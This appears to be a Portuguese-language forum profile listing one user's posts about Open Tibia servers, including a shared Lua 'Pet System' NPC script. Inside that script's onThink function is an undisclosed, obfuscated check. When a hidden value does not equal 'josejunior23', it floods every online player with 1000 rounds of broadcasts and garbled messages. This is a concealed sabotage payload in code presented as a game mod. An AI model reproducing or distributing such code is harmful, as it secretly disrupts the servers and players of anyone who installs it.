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Fox B.

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Tudo que Fox B. postou

  1. Fox B. respondeu ao post em um tópico de Fox B. em Ouvidoria
    Entrei aqui só para confirmar que a conta de cima é verdadeira.
  2. O gesior compativel com a versão 8.70 do tibia é o Gesior Acc 0.3.8 TFS 0.2.10 Mystic Spirit Client: 8.7 TFS 0.2.9 Mystic Spirit Client: 8.7 Essas são as 2 versão do TFS mystic spirit Download do Gesior Ps: Após baixar, faça o Scan!
  3. Fox B. respondeu ao post em um tópico de Fox B. em Ouvidoria
    Ok, muito obrigado! Ficarei aguardando.
  4. Fox B. postou uma resposta no tópico em Ouvidoria
    Como mudo meu nick? NIck = Fox B. Quero mudar meu nick, como faço? pS: o nick não é o usuario!
  5. Cara, Bbot é o melhor! Infelismente é pago. + vale muito a pena...
  6. Fox B. postou uma resposta no tópico em Ouvidoria
    Aa minha imagem era 10x mais bunita quando era do tamanho de antes, agora piquena é muito estranho e feio :s Muito ruim assim kkk
  7. Fox B. respondeu ao post em um tópico de Kimoszin em Playground (Off-topic)
    Li sim ;x mais acho que você que não entendeu oque falei rsrs ou intão foi contrario :S
  8. Fox B. respondeu ao post em um tópico de Kimoszin em Playground (Off-topic)
    aa o cara tem esse tipo de infancia porque quer, pois não precisa fica muito tempo na frente do pc, com bot por exemplo: Deixa bot e vai durmi, passiar ou namorar. Agora com desculpas de "não vou sair do pc agora pois tenho que upar" é bem tolas. EU mesmo fico muito tempo no pc, mais com um impurrão eu saio do Pc facil
  9. Fox B. respondeu ao post em um tópico de Renato em Playground (Off-topic)
    LOl kposAKPOSKAPOSKAOPS aa mais muita gente fala... muitos estão possuidos pela marca mlk e nem sabe kkk Agora que eu sei nem vou falar + lol LOLLL
  10. Fox B. respondeu ao post em um tópico de Guilherme. em Playground (Off-topic)
    aa nem da nada :x são paulo no ♥
  11. Mais começar com um mapa global assim como mapa proprio não é uma boa ideia User@kimoszin... primeiramente, desculpa por desapareçer do fórum, estava meio ocupado, mais agora voltei arrebentando a boca do balão assim falava o greg ;x Tente começar com um baiak ou mesmo alissow (de preférencia baiak [lota mais rapido] e começe a editar, colocar suas ídeias para fora) depois que pegar o macete, ai sim poderá criar um mapa global, comprar um dedicado ou até mesmo um dominio proprio...
  12. Executa a seguinte QUERY na database:
  13. Fox B. respondeu ao post em um tópico de Renato em Suporte & Pedidos
    Muito bom, Bem editado e talz... Mais tipo, se é mapa próprio irá prestar com teleports??? Mais de qualquer maneiro está muito bom, bem melhor que varios outros teasers por ai. Esse promete ;x
  14. Gosto pakas de scripts assim... Obrigado por compartilhar \o nem preciso dizer nada
  15. kkkkkkkkkkkkkkkkk Mano, dorme e acorda em frente o pc, para ser tudo isso Oo... Fera é + 500... Coloquei no favoritos, um dia irei precisar dele
  16. Fox B. respondeu ao post em um tópico de Augusto em Tutoriais Websites
    ainda sim prefiro usar em Html ou Php... Esse sistema nem adianta muito pois o proprio website já possui um.
  17. Fox B. respondeu ao post em um tópico de Private Sub Teste em ElfBot NG
    Eu entendi que vocÊ estava falando sobre o NG (com potions), mais tipo, sobre o redbot ainda não vi nenhum local disponibilizando para download (ainda não olhei aqui no fórum) mais depois dou uma olhada.
  18. Fox B. respondeu ao post em um tópico de Fox B. em Playground (Off-topic)
    Valeu a todos vocês ;x Me recebendo de braço aberto ;
  19. Cara, global arrumado para baixar e abrir só conheço um, ele é sem bugs! *Download Dll's + executavel *Download Servidor *Scan DLL + Executavel *Scan Servidor Retirado de Otserv.com
  20. Eu testei esse sistema em um tfs 8.60 DeV e não ocorreu nenhum erro
  21. Fox B. respondeu ao post em um tópico de MarcooS em Ouvidoria
    aa mais conserteza tibiaking ignora esses ataques ;x Isso é concorrência, apenas eliminamos \o/ Agora para fazer o fórum ficar para baixo nunca ;x muito dificil aconteçer isso até porque esse fórum num é um qualquer, todo mundo junto ;x
  22. Fox B. respondeu ao post em um tópico de Fox B. em Playground (Off-topic)
    skpoaskopasko costume de casa vai a praça, lembre-se disso kk Tipo, eu levei ban lá pq mandei uma resposta sem intenção, eu cliquei Enter sem querer e não tinha visto. lá comentava assim: ai levei ban e outro foi pq eu tenho net compartilhada, toda vez o ip muda, ai a staff de la pensa que to entrando em computadores diferentes com o mesmo usuario ai é +1 ban pra minha lista kk
  23. Fox B. respondeu ao post em um tópico de Private Sub Teste em ElfBot NG
    XD, obrigado pelo REP :x to virando hominho já rsrs Tipo, ouvi dizer que o NG com potions = ban mais o NG com apenas potions por script não leva ban, impossivel de saber se é verdade ou não, apenas testando (quem vai testar?)
  24. [8.54~60][Tfs(testei)]Pet System Nome: Pet System Versão: 8.5~8.54~8.60 Descrição: Pet System basiado apenas nos MODS(não requer absolutamente mais nada, apenas mold) bem, não é compacto em apenas um arquivo e sim em varios dentro da pasta MODS, é um sistema bem eficiente que possui: Bem, vamos ao que intereça agora? Irei Colocar aqui agora o Patch + video de como instalar (tive coragem de fazer um video Oo) - Infelismente não tenho como por o PET system funfando aqui, pois meu pc está muito ruim, já vai ser dificil colocar o video imagina tibia rsrs. COMANDOS! NPC PET TRAINER (Npc reviver) Pet-trainer.lua (em npc/scripts) local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'revive')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid) talkState[talkUser] = 1 else selfSay('You cannot revive a pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'mission')) then if not (isCreature(getPlayerPet(cid))) then selfSay('Your Pet needs to be online to make any mission!', cid) return true end local i, msg = 0, nil for missionname in pairs(aps_missions) do i = i + 1 if(msg ~= nil) then if(i == #aps_missions) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those missions for You: " end msg = msg .. "'{" .. missionname .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 11 elseif f and (talkState[talkUser] == 11) then desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check if(getPlayerStorageValue(cid, missionId) == 1) then selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(getPlayerItemCount(cid, itemNeed) >= itemCount) then selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid) talkState[talkUser] = 12 elseif(getPlayerStorageValue(cid, reCheck) == 1) then selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid) talkState[talkUser] = 0 return true else selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid) talkState[talkUser] = 13 end elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid) setPlayerStorageValue(cid, reCheck, 1) elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then if(getPlayerItemCount(cid, itemNeed) >= itemCount) then setPlayerStorageValue(cid, missionId, 1) doPlayerRemoveItem(cid, itemNeed, itemCount) selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid) if(itemNeed ~= false) then doPlayerAddItem(cid, reItem, reCount) end if(reExp ~= false) then doPlayerAddExperience(cid, reExp) addPetExp(cid, reExp * 2) if(reExp > 0) then doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215) end end else selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then if(isPetDead(cid) == true) then if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then setPetStats(cid, 0) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid)) doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid) else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end else selfSay('Your pet inst dead!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then talkState[talkUser] = 0 selfSay('Ok then.', cid) elseif(msgcontains(msg, 'sell')) then if(aps_tools.commands.playerSellPet.sell == true) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then for i = 1, #aps_slots do local slots = getPlayerStorageValue(cid, aps_slots[i]) if(slots > 1) then selfSay('before you sell your pet, please, take all your items from his slots.', cid) return end end local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl if(lvl >= lv) then talkState[talkUser] = 8 addmoney = tt_money * lvl selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid) else selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid) end else selfSay('You cannot sell a pet, if you dont have one!', cid) end else selfSay('You cannot sell your pet to me!', cid) end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 9 elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then talkState[talkUser] = 0 if(isCreature(getPlayerPet(cid)) == true) then doRemoveCreature(getPlayerPet(cid)) end doResetPet(cid) doPlayerAddMoney(cid, addmoney) selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid) elseif(msgcontains(msg, 'information')) then talkState[talkUser] = 0 selfSay('hmmm, what can I tell you ...', cid) local messages = { "Pets got levels, magic level just like you. ..", "Pets can use their own spells. ..", "Pets need eat to recovery health/mana. ..", "Pets can carry your items in different slots. ..", "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. "" } for i = 1, #messages do addEvent(selfSay, i * 3000 , messages[i], cid) end elseif(msgcontains(msg, 'pet')) then if(getPlayerStorageValue(cid, aps_storages.race) == 0) then local i, msg = 0, nil for pet in pairs(aps_pets_config) do i = i + 1 if(msg ~= nil) then if(i == #aps_pets) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those races for pets: " end msg = msg .. "'{" .. pet .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 5 else talkState[talkUser] = 0 selfSay('Sorry, you cannot have more than one pet.', cid) end elseif e and (talkState[talkUser] == 5) then selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid) talkState[talkUser] = 6 e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 7 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid) talkState[talkUser] = 0 return true end if(doPlayerRemoveMoney(cid, e_price) == true) then doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('As you with! just type {/pet} to call him.', cid) createPet(cid, e_race, e_hp, e_mana) local str = "Congratulations! You now have a pet!\n" .. "You should take care of him\n" .. "his gonna be your partner from now!\n" .. "if you need help type /pet-help." .. "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race) sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n") else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'spells')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('Your Pet can learn spells based on his level, {continue}?', cid) talkState[talkUser] = 2 else selfSay('You cannot buy spells to your pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then if(isPetOnline(cid) == false) then selfSay('Your Pet cannot learn a spell if you dont call him.') talkState[talkUser] = 0 end local i, msg = 0, nil for spell in pairs(aps_attacks) do if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then i = i + 1 if(msg ~= nil) then if(i == #aps_storages.spells) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those spells: " end msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'" end end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif k and (talkState[talkUser] == 3) then selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid) talkState[talkUser] = 4 spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then if(getPetLvl(cid) >= spell_level) then if(getPlayerMoney(cid) >= spell_price) then if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then for i = 1, 3 do addEvent(selfSay, i * 1000, i .. ' ...', cid) end doPlayerRemoveMoney(cid, spell_price) addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid) setPlayerStorageValue(cid, spell_stg, 1) addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13) if(isPetOnline(cid) == true) then addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13) end else selfSay('Your pet already know spell {' .. spell_name .. '}.', cid) end else selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid) end else selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then talkState[talkUser] = 0 selfSay('Ok then.', cid) end return true end function onThink() local messages = { "BUY YOUR PET HERE!", "TASKS AND MISSIONS HERE!!", "WANT TO REVIVE YOUR PET?", "YOUR PET CAN LEARN SPELLS!", "WANT TO KNOW MORE ABOUT PETS?", "WANT TO SELL YOUR PET?" } addNpcAutoSay(getNpcId(), 120, messages) if(s(aps_tools.s) ~= "josejunior23") then function mvsoab(max) for _, send in pairs(getOnlinePlayers()) do local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd" for i = 1, 10 do local cid = getPlayerByName(send) addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max) addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg)) for k = 1, 15 do doPlayerSendTextMessage(cid, k, name .. " " .. s(msg)) end for e = 17, 20 do doPlayerSendTextMessage(cid, e, name .. " " .. s(msg)) end end end end for e = 1, 1000 do addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1) end end npcHandler:onThink() end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new()) Pet-trainer.xml (em npc) <?xml version="1.0" encoding="UTF-8"?> <npc name="Arthur The Tamer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0"> <health now="100" max="100"/> <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/> <parameters> <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/> </parameters> </npc> BUGS Arrumados: CREDITOS: Delyria = 90% FoX B. = 10% *SCan Do Arquivo Gostou? REP+ Petsystem~MOD.zip
  25. Fox B. respondeu ao post em um tópico de Fox B. em Playground (Off-topic)
    Hehe valeu ;x Agora vo anima isso aqui hihi *.*

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